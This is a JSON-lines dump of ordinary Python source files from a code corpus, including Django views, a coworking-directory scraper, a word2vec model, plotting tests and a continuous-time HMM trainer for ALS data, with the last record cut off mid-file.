+{"seq_id":"469580624","text":"from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render\nfrom django.utils.translation import get_language\n\nimport django_browserid.views\nimport waffle\n\nfrom flicks.base import regions\nfrom flicks.base.util import redirect\nfrom flicks.users.forms import UserProfileForm\nfrom flicks.users.tasks import newsletter_subscribe\nfrom flicks.videos.models import Video, Vote\n\n\n@login_required\ndef profile(request):\n    \"\"\"Display and process the profile creation form.\"\"\"\n    form = UserProfileForm(request.POST or None)\n    if request.method == 'POST' and form.is_valid():\n        profile = form.save(commit=False)\n        profile.user = request.user\n        profile.locale = get_language()\n        profile.save()\n\n        if form.cleaned_data['mailing_list_signup']:\n            format = form.cleaned_data['mailing_list_format']\n            newsletter_subscribe.delay(request.user.email,\n                                       source_url=request.build_absolute_uri(),\n                                       format=format)\n\n        return redirect('flicks.videos.upload')\n\n    return render(request, 'users/profile.html', {\n        'form': form,\n        'regions': regions,\n    })\n\n\nclass Verify(django_browserid.views.Verify):\n    def login_success(self, *args, **kwargs):\n        \"\"\"\n        Extend successful login to check if the user was attempting to vote for\n        a video, and create the vote if they were.\n        \"\"\"\n        response = super(Verify, self).login_success(*args, **kwargs)\n        if not waffle.flag_is_active(self.request, 'voting'):\n            return response\n\n        try:\n            video_id = self.request.session['vote_video']\n            video = Video.objects.get(id=video_id)\n            Vote.objects.get_or_create(user=self.request.user, video=video)\n            del self.request.session['vote_video']\n\n            # Set cookie so the JavaScript knows they successfully voted.\n            response.set_cookie('just_voted', '1', max_age=3600, httponly=False)\n        except (Video.DoesNotExist, ValueError):\n            # Avoid retrying on an invalid video.\n            del self.request.session['vote_video']\n        except KeyError:\n            pass  # Do nothing if the key never existed.\n\n        return response\n\n    def login_failure(self, *args, **kwargs):\n        \"\"\"\n        Extend login failure so that if login fails, the user's attempts to\n        vote for a video are cancelled.\n        \"\"\"\n        try:\n            del self.request.session['vote_video']\n        except KeyError:\n            pass\n\n        return super(Verify, self).login_failure(*args, **kwargs)\n","sub_path":"flicks/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"343643535","text":"class Solution(object):\n    def removeElement(self, nums, val):\n        rm_index = []\n        for i in xrange(len(nums)):\n            if nums[i] == val:\n                rm_index.append(i)\n        last = len(nums) - 1\n        for i in rm_index:\n            while last >= 0 and nums[last] == val:\n                last -= 1\n            if last < 0:\n                break\n            nums[i] = nums[last]\n            last -= 1\n        return len(nums) - len(rm_index)\n","sub_path":"27/27.remove-element.232785867.Accepted.leetcode.py","file_name":"27.remove-element.232785867.Accepted.leetcode.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"158640509","text":"import oppumpmagres_funcs as func\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# got this number from Niv's report. Please double check the number\nN_A = 110    # number of turns in Maxwell Coil A\nN_B = 142    #            ''                   B\nN_C = 110    #            ''                   C\n\nx_A = 0.262     # distance to the plane of the coil B [unit: m]\nx_B = 0.0       #            ''\nx_C = 0.262     #            ''\n\nR_A = 0.591/2.0 # radius of the Maxwell coil A [unit: m]\nR_B = 0.784/2.0 #              ''            B\nR_C = 0.591/2.0 #              ''            C\n\nB_per_I_niv = 2.93e-4 #[unit T/A]\nB_per_I     = func.BperI_maxwell(N_A, x_A, R_A, N_B, x_B, R_B, N_C, x_C, R_C) \n\nprint(\"B field per unit current according to Niv et al. is %f T/A.\" % (B_per_I_niv))\nprint(\"B field per unit current according to our calc is %f T/A.\" % (B_per_I))\nprint(\"the difference between the two value is %f T/A.\" % (B_per_I - B_per_I_niv))\n\nprint(\"Assume the ambient field of %f T.\" % (func.B_earth))\n\nB_ext_net_vec = np.vectorize(func.B_ext_net)\n\nI = np.arange(0, 1.0e-3, 1.0e-5)\n\nB_ext = B_ext_net_vec(B_per_I, I, func.B_earth)\n\nI     = I * 1.0e3     # unit conversion from A to mA\nB_ext = B_ext * 1.0e3 # unit conversion from T to mT\n\nplt.plot(I, B_ext)\nplt.xlabel('Current on Coil [mA]')\nplt.ylabel('Net external field [mT]')\nplt.title('Net external field due to Maxwell Coil and Ambient field')\nplt.show()\n","sub_path":"optical/scripts/maxwell_coil.py","file_name":"maxwell_coil.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"427717735","text":"import requests, re, codecs as co, xlsxwriter as xl\nfrom bs4 import BeautifulSoup\n\nhtml = requests.get('http://coworking-carte.fr/').text\nsp = BeautifulSoup(html, 'html.parser')\nscpt = sp('script')[-4].string.split('\\n')\n\nlist_marker = [co.unicode_escape_decode(re.split(\"[{}]\",x)[1])[0] for x in scpt if 'new google.maps.Marker(' in x]\nlist_data = []\n\nfor m in list_marker:\n    data = {}\n    splitr = m.split('\"title\":')[1].split(',\"id\":')\n    splitr_b = splitr[0][1:-1].split('\\n')\n    data['titre'] = splitr_b[0]\n    data['adresse'] = splitr_b[1]\n    data['tel'] = ''\n    data['mail'] = ''\n    \n    region = splitr[1][1:-1].replace(\"\\/\",\"/\").replace(\" \", \"-\")\n    link = 'http://coworking-carte.fr/coworking/' + region\n    html_b = requests.get(link).text\n    sp_b = BeautifulSoup(html_b, 'html.parser')\n    \n    tag_ph = sp_b.find(class_=\"phone\")\n    if tag_ph.__class__.__name__ != 'NoneType':\n        coord = tag_ph.string\n        if coord.__class__.__name__ != 'NoneType':\n            tab_coord = coord.split(\" - \")\n            if len(tab_coord) == 2:\n                if '@' in tab_coord[1]:\n                    data['tel'] = tab_coord[0]\n                    data['mail'] = tab_coord[1]\n                else:\n                    data['tel'] = tab_coord[1]\n                    data['mail'] = tab_coord[0]\n            elif '@' in coord:\n                data['mail'] = coord\n            else:\n                data['tel'] = coord\n    \n    list_data.append(data)\n\nwb = xl.Workbook('coworking-carte.xlsx')\nws = wb.add_worksheet()\n\nfor i,k in enumerate(list_data[0].keys()):\n    ws.write(0, i, k)\n\nfor i,d in enumerate(list_data):\n    for j, v in enumerate(d.values()):\n        ws.write(i+1, j, v)\n\nwb.close()","sub_path":"recupdata.py","file_name":"recupdata.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"529972620","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport torch as t\nimport torch.nn as nn\n\nfrom torch import LongTensor as LT\nfrom torch import FloatTensor as FT\n\n\nclass Bundler(nn.Module):\n\n    def forward(self, data):\n        raise NotImplementedError\n\n    def forward_i(self, data):\n        raise NotImplementedError\n\n    def forward_o(self, data):\n        raise NotImplementedError\n\n\nclass Word2Vec(Bundler):\n\n    def __init__(self, vocab_size=20000, embedding_size=300, padding_idx=0):\n        super(Word2Vec, self).__init__()\n        self.vocab_size = vocab_size\n        self.embedding_size = embedding_size\n        self.ivectors = nn.Embedding(self.vocab_size, self.embedding_size, padding_idx=padding_idx)\n        self.ovectors = nn.Embedding(self.vocab_size, self.embedding_size, padding_idx=padding_idx)\n        self.ivectors.weight = nn.Parameter(t.cat([t.zeros(1, self.embedding_size), FT(self.vocab_size - 1, self.embedding_size).uniform_(-0.5 / self.embedding_size, 0.5 / self.embedding_size)]))\n        self.ovectors.weight = nn.Parameter(t.cat([t.zeros(1, self.embedding_size), FT(self.vocab_size - 1, self.embedding_size).uniform_(-0.5 / self.embedding_size, 0.5 / self.embedding_size)]))\n        self.ivectors.weight.requires_grad = True\n        self.ovectors.weight.requires_grad = True\n\n    def forward(self, data):\n        return self.forward_i(data)\n\n    def forward_i(self, data):\n        v = LT(data)\n        v = v.cuda() if self.ivectors.weight.is_cuda else v\n        return self.ivectors(v)\n\n    def forward_o(self, data):\n        v = LT(data)\n        v = v.cuda() if self.ovectors.weight.is_cuda else v\n        return self.ovectors(v)\n\nclass Word2VecHidden(Bundler):\n\n    def __init__(self, vocab_size=20000, embedding_size=300, hidden_size=100, padding_idx=0):\n        super(Word2VecHidden, self).__init__()\n        self.vocab_size = vocab_size\n        self.embedding_size = embedding_size\n        self.ivectors = nn.Embedding(self.vocab_size, self.embedding_size, padding_idx=padding_idx)\n        self.ovectors = nn.Embedding(self.vocab_size, self.embedding_size, padding_idx=padding_idx)\n        self.ivectors.weight = nn.Parameter(t.cat([t.zeros(1, self.embedding_size), FT(self.vocab_size - 1, self.embedding_size).uniform_(-0.5 / self.embedding_size, 0.5 / self.embedding_size)]))\n        self.ovectors.weight = nn.Parameter(t.cat([t.zeros(1, self.embedding_size), FT(self.vocab_size - 1, self.embedding_size).uniform_(-0.5 / self.embedding_size, 0.5 / self.embedding_size)]))\n        self.iW = nn.Parameter(FT(hidden_size, embedding_size).uniform_(-0.5, 0.5))\n        self.oW = nn.Parameter(FT(hidden_size, embedding_size).uniform_(-0.5, 0.5))\n        self.ivectors.weight.requires_grad = True\n        self.ovectors.weight.requires_grad = True\n        self.sm = t.nn.Softmax(dim=-1)\n\n    def forward(self, data):\n        return self.forward_i(data)\n\n    def forward_i(self, data):\n        v = LT(data)\n        v = v.cuda() if self.ivectors.weight.is_cuda else v\n        return t.matmul(self.sm(self.ivectors(v)), t.transpose(self.iW, 1, 0))\n\n    def forward_o(self, data):\n        v = LT(data)\n        v = v.cuda() if self.ovectors.weight.is_cuda else v\n        return t.matmul(self.sm(self.ovectors(v)), t.transpose(self.oW, 1, 0))\n\n\nclass SGNS(nn.Module):\n\n    def __init__(self, embedding, vocab_size=20000, n_negs=20, weights=None, tie_weights=False, fake_indices=None):\n        super(SGNS, self).__init__()\n        self.embedding = embedding\n        self.vocab_size = vocab_size\n        self.n_negs = n_negs\n        self.weights = None\n        if weights is not None:\n            wf = np.power(weights, 0.75)\n            wf = wf / wf.sum()\n            self.weights = FT(wf)\n        self.tie_weights = tie_weights\n        if weights is not None and fake_indices is not None:\n            is_fake = t.zeros(4000).type(t.bool)\n            is_fake[t.LongTensor(list(fake_indices))] = True\n            # adjust weights here and zero them out\n            self.weights_real = self.weights.detach().clone()\n            self.weights_real[is_fake] = 0.0\n            self.weights_fake = self.weights.detach().clone()\n            self.weights_fake[~is_fake] = 0.0\n            self.fake_indices = t.LongTensor(list(fake_indices))\n\n    def forward(self, iword, owords):\n        batch_size = iword.size()[0]\n        context_size = owords.size()[1]\n        if self.fake_indices is None:\n            if self.weights is not None:\n                nwords = t.multinomial(self.weights, batch_size * context_size * self.n_negs, replacement=True).view(batch_size, -1)\n            else:\n                nwords = FT(batch_size, context_size * self.n_negs).uniform_(0, self.vocab_size - 1).long()\n        else:\n            if self.weights is not None:\n                # do broadcasting to check the values\n                is_fake = iword.view(-1, 1).eq(self.fake_indices).sum(1).type(t.bool)\n                n_fake = is_fake.sum()\n                n_real = batch_size - n_fake\n                # two times sampling\n                nwords_fake = t.multinomial(self.weights_fake, n_fake * context_size * self.n_negs, replacement=True).view(n_fake, -1)\n                nwords_real = t.multinomial(self.weights_real, n_real * context_size * self.n_negs, replacement=True).view(n_real, -1)\n                # create empty tensor and use is_fake to assign the sampled words to it\n                nwords = t.zeros(batch_size, context_size * self.n_negs).type(t.long)\n                nwords[is_fake] = nwords_fake\n                nwords[~is_fake] = nwords_real\n            else:\n                raise NotImplementedError()\n        ivectors = self.embedding.forward_i(iword).unsqueeze(2)\n        if self.tie_weights:\n            ovectors = self.embedding.forward_i(owords)\n            nvectors = self.embedding.forward_i(nwords).neg()\n        else:\n            ovectors = self.embedding.forward_o(owords)\n            nvectors = self.embedding.forward_o(nwords).neg()\n        oloss = t.bmm(ovectors, ivectors).squeeze().sigmoid().log().mean(1)\n        nloss = t.bmm(nvectors, ivectors).squeeze().sigmoid().log().view(-1, context_size, self.n_negs).sum(2).mean(1)\n        return -(oloss + nloss).mean()\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"551632751","text":"\"\"\"Tests use the 'bokeh' backend.\"\"\"\n# pylint: disable=redefined-outer-name,too-many-lines\nfrom pandas import DataFrame\nimport numpy as np\nimport pytest\n\nfrom .helpers import (  # pylint: disable=unused-import\n    eight_schools_params,\n    models,\n    create_model,\n    multidim_models,\n    create_multidimensional_model,\n)\nfrom ..rcparams import rcParams, rc_context\nfrom ..plots import (\n    plot_trace,\n    plot_kde,\n    plot_dist,\n)\n\nrcParams[\"data.load\"] = \"eager\"\n\n\n@pytest.fixture(scope=\"module\")\ndef data(eight_schools_params):\n    data = eight_schools_params\n    return data\n\n\n@pytest.fixture(scope=\"module\")\ndef df_trace():\n    return DataFrame({\"a\": np.random.poisson(2.3, 100)})\n\n\n@pytest.fixture(scope=\"module\")\ndef discrete_model():\n    \"\"\"Simple fixture for random discrete model\"\"\"\n    return {\"x\": np.random.randint(10, size=100), \"y\": np.random.randint(10, size=100)}\n\n\n@pytest.fixture(scope=\"module\")\ndef continuous_model():\n    \"\"\"Simple fixture for random continuous model\"\"\"\n    return {\"x\": np.random.beta(2, 5, size=100), \"y\": np.random.beta(2, 5, size=100)}\n\n\n@pytest.mark.parametrize(\n    \"kwargs\",\n    [\n        {},\n        {\"var_names\": \"mu\"},\n        {\"var_names\": [\"mu\", \"tau\"]},\n        {\"combined\": True},\n        {\"compact\": True},\n        {\"combined\": True, \"compact\": True, \"legend\": True},\n        {\"divergences\": \"top\"},\n        {\"divergences\": False},\n        {\"lines\": [(\"mu\", {}, [1, 2])]},\n        {\"lines\": [(\"mu\", {}, 8)]},\n    ],\n)\ndef test_plot_trace(models, kwargs):\n    axes = plot_trace(models.model_1, backend=\"bokeh\", show=False, **kwargs)\n    assert axes.shape\n\n\ndef test_plot_trace_discrete(discrete_model):\n    axes = plot_trace(discrete_model, backend=\"bokeh\", show=False)\n    assert axes.shape\n\n\ndef test_plot_trace_max_subplots_warning(models):\n    with pytest.warns(SyntaxWarning):\n        with rc_context(rc={\"plot.max_subplots\": 1}):\n            axes = plot_trace(models.model_1, backend=\"bokeh\", show=False)\n    assert axes.shape\n\n\ndef test_plot_kde(continuous_model):\n    axes = plot_kde(continuous_model[\"y\"], backend=\"bokeh\", show=False)\n    assert axes\n\n\n@pytest.mark.parametrize(\n    \"kwargs\",\n    [\n        {\"cumulative\": True},\n        {\"cumulative\": True, \"plot_kwargs\": {\"line_dash\": \"dashed\"}},\n        {\"rug\": True},\n        {\"rug\": True, \"rug_kwargs\": {\"line_alpha\": 0.2}},\n    ],\n)\ndef test_plot_kde_cumulative(continuous_model, kwargs):\n    axes = plot_kde(continuous_model[\"x\"], backend=\"bokeh\", show=False, **kwargs)\n    assert axes\n\n\n@pytest.mark.parametrize(\"kwargs\", [{\"kind\": \"hist\"}, {\"kind\": \"kde\"}])\ndef test_plot_dist(continuous_model, kwargs):\n    axes = plot_dist(continuous_model[\"x\"], backend=\"bokeh\", show=False, **kwargs)\n    assert axes\n","sub_path":"arviz/tests/test_plots_bokeh.py","file_name":"test_plots_bokeh.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"497733984","text":"import pandas as pd\nimport numpy as np\nimport scipy.linalg as la\nimport matplotlib.pyplot as plt\nimport argparse\nimport pickle\nfrom tqdm import tqdm\nfrom scipy.special import logsumexp\nfrom scipy.stats import multivariate_normal\n\nclass CTHMM:\n    def __init__(self, n_states, n_dim):\n        self.n_states = n_states\n        self.log_pi = np.log(np.ones((self.n_states)) / self.n_states)\n        self.log_P = {}\n        self.n_pid = 0\n        self.log_likelihoods = None\n\n        # init R\n        self.R = -np.eye(self.n_states)\n        self.R[-1, -1] = 0\n        for i in range(self.n_states - 1):\n            self.R[i,i+1:] = 1 / (self.R[i+1:].shape[0])\n\n        self.n_dim = n_dim\n\n        # init emission matrix\n        self.emission_matrix = np.zeros((2, self.n_states, self.n_dim))\n        self.emission_matrix[0, :, :] = 2\n        self.emission_matrix[1, :, :] = .5\n        self.emission_matrix[0, 0, :] = 4\n        self.emission_matrix[0, -1, :] = 0\n\n    def EM_step(self, data):\n        ### E Step ###\n\n        self.n_pid = data['subject_id'].unique().shape[0]\n\n        log_pi_update = np.zeros((self.n_states))\n        weighted_means = np.log(np.zeros((self.n_states, self.n_dim)))\n\n        unique_intervals = data['delta_t'].unique()\n        C = np.zeros((unique_intervals.shape[0], self.n_states, self.n_states))\n        interval_map = {}\n\n        total_weight_assgn = np.log(np.zeros((self.n_states)))\n\n        for pid, pdata in tqdm(data.groupby('subject_id')):\n            obs = pdata.drop(['subject_id', 'ALSFRS_Delta', 'delta_t', 'ALSFRS_Total'], axis=1).values\n            intervals = pdata['delta_t'].values\n\n            alpha = self.forward(obs, intervals)\n            beta = self.backward(obs, intervals)\n\n            LL = logsumexp((alpha[:, -1] + beta[:, -1]))\n\n            for idx, t_delta in enumerate(intervals[1:]):\n                if t_delta not in interval_map:\n                    interval_map[t_delta] = len(interval_map.keys())\n                log_P = self.log_transition_matrix(t_delta)\n                log_emission = self.log_emission(obs[idx + 1, :])\n                for src in range(self.n_states):\n                    for dest in range(self.n_states):\n                        C[interval_map[t_delta], src, dest] = logsumexp([C[interval_map[t_delta], src, dest], alpha[src, idx], log_P[src, dest],\n                                                                     beta[dest, idx + 1], log_emission[dest]])\n\n            log_pi_update = logsumexp([log_pi_update, alpha[:, 0] + beta[:, 0] - LL], axis=0)\n            log_weights = np.zeros(alpha.shape)\n            for t in range(log_weights.shape[1]):\n                log_weights[:,t] = alpha[:,t] + beta[:,t] - logsumexp(alpha[:,t] + beta[:,t])  # M x T\n            for i in range(self.n_states):\n                for t in range(log_weights.shape[1]):\n                    for d in range(self.n_dim):\n                        weighted_means[i, d] = logsumexp([weighted_means[i,d], log_weights[i,t] + np.log(obs[t,d])])\n                    total_weight_assgn[i] = logsumexp([total_weight_assgn[i], log_weights[i,t]])\n#                     weighted_means[i, j] = np.e**(alpha + beta - LL) @ obs\n\n\n        ### M Step ###\n\n        # Update emission params\n        self.emission_matrix[0, 1:-1, :] = np.e**(weighted_means - total_weight_assgn[:, None])[1:-1, :]\n\n        # Update pi\n        self.log_pi = log_pi_update - logsumexp(log_pi_update)\n\n        # Updated R\n        A = np.zeros((self.n_states * 2, self.n_states * 2))\n        A[:self.n_states, :self.n_states] = self.R\n        A[self.n_states:, self.n_states:] = self.R\n\n        D = np.zeros((self.n_states, self.n_states, self.n_states))\n        tau = np.zeros((self.n_states))\n\n        N = np.zeros((self.n_states, self.n_states, self.n_states, self.n_states))\n        nu = np.zeros((self.n_states, self.n_states))\n\n        C = np.e**(C) - 1\n\n        for i in range(self.n_states):\n            A[i, self.n_states + i] = 1\n            for t_delta in unique_intervals:\n                if t_delta == 0:\n                    continue\n                D[i] = la.expm(A * t_delta)[:self.n_states, self.n_states:] /                           \\\n                       np.e**(self.log_transition_matrix(t_delta))\n                D = np.nan_to_num(D)\n                tau[i] += np.sum(C[interval_map[t_delta], :, :] * D[i, :, :])\n            A[i, self.n_states + i] = 0\n\n        for i in range(self.n_states):\n            for j in range(self.n_states):\n                A[i, self.n_states + j] = 1\n                for t_delta in unique_intervals:\n                    if t_delta == 0:\n                        continue\n                    N[i, j] = self.R[i, j] * la.expm(A * t_delta)[:self.n_states, self.n_states:] /        \\\n                           np.e**(self.log_transition_matrix(t_delta))\n                    N = np.nan_to_num(N)\n                    nu[i, j] += np.sum(C[interval_map[t_delta], :, :] * N[i, j, :, :])\n                A[i, self.n_states + j] = 0\n\n        for i in range(self.n_states):\n            self.R[i, i+1:] = nu[i, i+1:] / tau[i]\n            self.R[i, i] = -np.sum(self.R[i, i+1:])\n\n        self.log_P = {}\n\n\n    def log_transition_matrix(self, t_delta):\n        \"\"\"\n        Input:\n            t_delta scalar\n        Output:\n            P M x M\n        \"\"\"\n        if t_delta in self.log_P:\n            return self.log_P[t_delta]\n\n        self.log_P[t_delta] = np.log(la.expm(self.R * t_delta))\n\n\n        return self.log_P[t_delta]\n\n    def log_emission(self, observation):\n        \"\"\"\n            Input: D x 1\n            Output: M x 1\n        \"\"\"\n        b = np.ndarray(self.n_states, dtype=float)\n        for i in range(self.n_states):\n            means = self.emission_matrix[0, i]\n            covariance = np.diag(self.emission_matrix[1, i])\n            b[i] = multivariate_normal.logpdf(observation, means, covariance)\n        return b\n\n    def forward(self, obs, intervals):\n        \"\"\"\n        Input:\n            obs T x D\n            intervals T\n            n_states scalar\n        Output:\n            alpha M x T\n        \"\"\"\n        T = obs.shape[0]\n        alpha = np.zeros((self.n_states, T))\n\n        alpha[:, 0] = self.log_pi + self.log_emission(obs[0, :])\n        tmp = np.zeros((self.n_states))\n\n        for idx, t_delta in enumerate(intervals[1:]):\n            log_B = self.log_emission(obs[idx + 1, :])\n            log_P = self.log_transition_matrix(t_delta)\n\n            for dest in range(self.n_states):\n                for src in range(self.n_states):\n                    tmp[src] = alpha[src, idx] + log_P[src, dest]\n\n                alpha[dest, idx + 1] = log_B[dest] + logsumexp(tmp)\n\n        return alpha\n\n    def backward(self, observations, time_intervals):\n        T = observations.shape[0]\n        beta = np.zeros((self.n_states, T), dtype=float)\n        for t in range(T - 2, -1, -1):\n            a = self.log_transition_matrix(time_intervals[t])\n            b = self.log_emission(observations[t + 1])\n            for i in range(self.n_states):\n                beta[i, t] = logsumexp([beta[j, t + 1] + a[i, j] + b[j] for j in range(self.n_states)])\n\n        return beta\n\n    def update_pi(self, alpha, beta):\n        self.log_pi = alpha[0, :] + beta[0, :]\n\n    def log_likelihood(self, data):\n        total = 0\n        for pid, pdata in data.groupby('subject_id'):\n            obs = pdata.drop(['subject_id', 'ALSFRS_Delta', 'delta_t', 'ALSFRS_Total'], axis=1).values\n            intervals = pdata['delta_t'].values\n\n            alpha = self.forward(obs, intervals)\n            total += logsumexp(alpha[-1])\n\n        return total\n\n    def save(self, filename):\n        pickle.dump(self, open(filename, 'wb'))\n\n    @classmethod\n    def load(cls, filename):\n        return pickle.load(open(filename, 'rb'))\n\ndef train(model, training_data, n_epochs, save_epochs=None, save_filename=None, plot_filename=None):\n    should_save = (save_epochs is not None) and (save_filename is not None)\n    log_likelihoods = np.ndarray(n_epochs, dtype=float)\n    for epoch in tqdm(range(n_epochs)):\n        model.EM_step(training_data)\n        log_likelihood = model.log_likelihood(training_data)\n        log_likelihoods[epoch] = log_likelihood\n\n        if should_save and ((epoch + 1) % save_epochs == 0):\n            model.save(save_filename)\n\n    model.log_likelihoods = log_likelihoods\n    if should_save:\n        model.save(save_filename)\n\n    plt.scatter(range(1,n_epochs+1), log_likelihoods)\n    plt.xlabel('epoch')\n    plt.ylabel('log likelihood')\n    plt.title('model training')\n\n    if plot_filename is not None:\n        plt.savefig(plot_filename)\n\n    plt.show()\n\ndef err(a, b):\n    return abs(a.sum() - b.sum()) / b.sum()\n\ndef test(model, test_data):\n    results = []\n    for pid, pdata in tqdm(test_data.groupby('subject_id')):\n        obs = pdata.drop(['subject_id', 'ALSFRS_Delta', 'delta_t', 'ALSFRS_Total'], axis=1).values\n        intervals = pdata['delta_t'].values\n\n        if pdata.shape[0] == 1 or obs[-1].sum() == 0:\n            continue\n\n        log_state_dist = model.forward(obs[:-1], intervals[:-1])[:,-1]\n        state_dist = np.exp(log_state_dist - logsumexp(log_state_dist))\n\n        out_state_dist = state_dist @ la.expm(model.R * intervals[-1])\n\n        out_emissions = np.ndarray((out_state_dist.shape[0], obs.shape[1]))\n        for i in range(out_state_dist.shape[0]):\n            # weighted\n            out_emissions[i] = out_state_dist[i] * model.emission_matrix[0,i]\n\n        out_obs = np.array([out_emissions[:,i].sum() for i in range(out_emissions.shape[1])])\n\n        # out_total = out_obs.sum()\n        # final_total = pdata.iloc[-1]['ALSFRS_Total']\n\n        mse = err(out_obs, obs[-1])\n        results.append((out_obs, obs[-1], mse))\n\n    return np.array(results)\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-M', '--n_states', type=int, default=5, help=\"number of hidden states\")\n    parser.add_argument('-e', '--epochs', type=int, default=10, help=\"number of epochs to train for\")\n    parser.add_argument('-s', '--save_filename', type=str, help=\"filename for saving model\")\n    parser.add_argument('-l', '--load_filename', type=str, help=\"filename for loading model\")\n    parser.add_argument('-t', '--save_epochs', type=int, default=2, help=\"save model every t epochs\")\n    parser.add_argument('-p', '--plot_filename', type=str, help=\"filename for saving log likelihood plot\")\n    parser.add_argument('-n', '--num_pids', type=int, default=None, help=\"number of patients to use\")\n    parser.add_argument('-r', '--test', action='store_true', default=False, help=\"test instead of train model\")\n    parser.add_argument('data_csv', type=str, help=\"csv with training/test data\")\n    args = parser.parse_args()\n\n    # load data\n    data = pd.read_csv(args.data_csv, index_col=0)\n    n_dim = len(data.columns.drop(['subject_id', 'ALSFRS_Delta', 'delta_t', 'ALSFRS_Total']))\n\n    if args.num_pids is not None:\n        data = data[data['subject_id'].isin(data['subject_id'].unique()[:args.num_pids])]\n\n    # load/initiate model\n    model = None\n    if args.load_filename is not None:\n        model = CTHMM.load(args.load_filename)\n        if model.n_dim != n_dim:\n            print('ERROR: training/test data observations do not have the same dimensions as model')\n            exit(1)\n\n    if args.test:\n        if model is None:\n            print('ERROR: no model to test with')\n            exit(1)\n\n        results = test(model, data)\n        errors = results[:,2]\n        print('mean test error: {}'.format(errors.mean()))\n        return\n\n    if model is None:\n        model = CTHMM(args.n_states, n_dim)\n\n    if args.save_filename is None:\n        print('WARNING: the resulting model will not be saved anywhere (provide a save_filename with -s to save the model)')\n\n    train(model, data, args.epochs, save_epochs=args.save_epochs, save_filename=args.save_filename, plot_filename=args.plot_filename)\n\nif __name__ == '__main__':\n    main()\n","sub_path":"CTHMM_ALS/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"71390647","text":"import pandas as pd\r\nimport numpy as np\r\nimport joblib as jl\r\nfrom os import listdir\r\nfrom os.path import join\r\n\r\nOUTPUT = \"../output\"\r\nDATA = \"../output/data\"\r\n\r\n\r\n\r\ndef get_models_from_folder(pca=True):\r\n\t\"\"\"\r\n\treturns list of directories to model files\r\n\t\"\"\"\r\n\r\n\tfolder = 'models_predictions_pca' if pca else 'models_predictions_nopca'\r\n\tmodels = ([join(OUTPUT, folder, m) for m in listdir(join(OUTPUT, folder))\r\n\t\tif 'Model' in m and '0.9' in m])\r\n\r\n\treturn models\r\n\r\n\r\ndef get_test_predictions_files(pca=True):\r\n\t\"\"\"\r\n\treturns list of files that have information on predictions\r\n\tfor test data\t\r\n\t\"\"\"\r\n\r\n\tfolder = 'models_predictions_pca' if pca else 'models_predictions_nopca'\r\n\tpredictions = [join(OUTPUT, folder, p) for p in listdir(join(OUTPUT, folder)) \\\r\n\t\tif 'Predictions' in p and 'Test' in p]\r\n\r\n\treturn predictions\r\n\r\n\r\ndef load_test_data(pca=True):\r\n\t\"\"\"\r\n\treturns df of test features - for pca colnames will be unnamed\r\n\t\"\"\"\r\n\r\n\tflist = [f for f in listdir(DATA) if 'Test' in f]\r\n\tif pca:\r\n\t\tflist = [f for f in flist if 'PCA' in f]\r\n\r\n\r\n\tif len(flist) != 1:\r\n\t\traise Exception(\"File is not uniquely identified\")\r\n\r\n\tfeat_file = flist[0]\r\n\ttest_feats = jl.load(join(DATA, feat_file))\r\n\treturn test_feats\r\n\r\n\r\ndef load_test_target():\r\n\t\"\"\"\r\n\treturns test target\r\n\t\"\"\"\r\n\treturn jl.load(join(DATA, 'Data - Test Target.joblib'))\r\n\r\n\r\n\r\ndef generate_prediction(model, test_feats):\r\n\t\"\"\"\r\n\treturns array of predictions for model on test data\r\n\tinputs\r\n\t\tmodel: string representing a model joblib file\r\n\t\ttest_feats: df of test features\r\n\t\"\"\"\r\n\tprint('predicting for', model)\r\n\tmodel = jl.load(model)\r\n\tpredictions = model.predict(test_feats)\r\n\treturn predictions\r\n\r\n\r\ndef generate_all_predictions(model_list, test_feats):\r\n\t\"\"\"\r\n\tcalculates predictions for all models in folder\r\n\tinputs:\r\n\t\tmodel_list: list of model paths\r\n\t\ttest_feats: df of test features\r\n\treturns\r\n\r\n\t\"\"\"\r\n\r\n\tdf = pd.DataFrame\r\n\r\n\tfor m in model_list:\r\n\r\n\t\tpredictions = generate_prediction(m, test_feats)\r\n\t\tpath = get_save_path(m)\r\n\t\tjl.dump(predictions, path)\r\n\r\n\r\ndef execute_all_predictions():\r\n\t\"\"\"\r\n\tcalculates predictions for pca and non pca data\r\n\t!!!! not working for non-pca - something about the file path name\r\n\tnot enough time to fix\r\n\t\"\"\"\r\n\r\n\tfor pca in (True, False):\r\n\t\ttest_data = load_test_data(pca)\r\n\t\tmodel_list = get_models_from_folder(pca)\r\n\r\n\t\tgenerate_all_predictions(model_list, test_data)\r\n\r\n\tprint('done')\r\n\r\n\r\ndef get_save_path(m):\r\n\t\"\"\"\r\n\treturns name for output file as a function of model filename\r\n\t\"\"\"\r\n\r\n\tp = m.replace('Model', 'Predictions')\r\n\tp = p[:p.find('0.8')] + 'Test.joblib'\r\n\r\n\treturn p\r\n\r\n\r\ndef calc_MAE(test_target, predictions, var):\r\n\t\"\"\"\r\n\treturns mean absolute error for predictions on test_target\r\n\tvar allows for flexibility in target variable\r\n\ttest_target: df with observed values for target var\r\n\t\"\"\"\r\n\r\n\tmae = abs(test_target[var] - predictions).mean()\r\n\r\n\treturn mae\r\n\r\n\r\ndef calc_MAE_by_model(prediction_list, test_target, pca=True):\r\n\t\"\"\"\r\n\treturns df with columns for model and MAE\r\n\tinputs:\r\n\t\tprediction_list: list of prediction 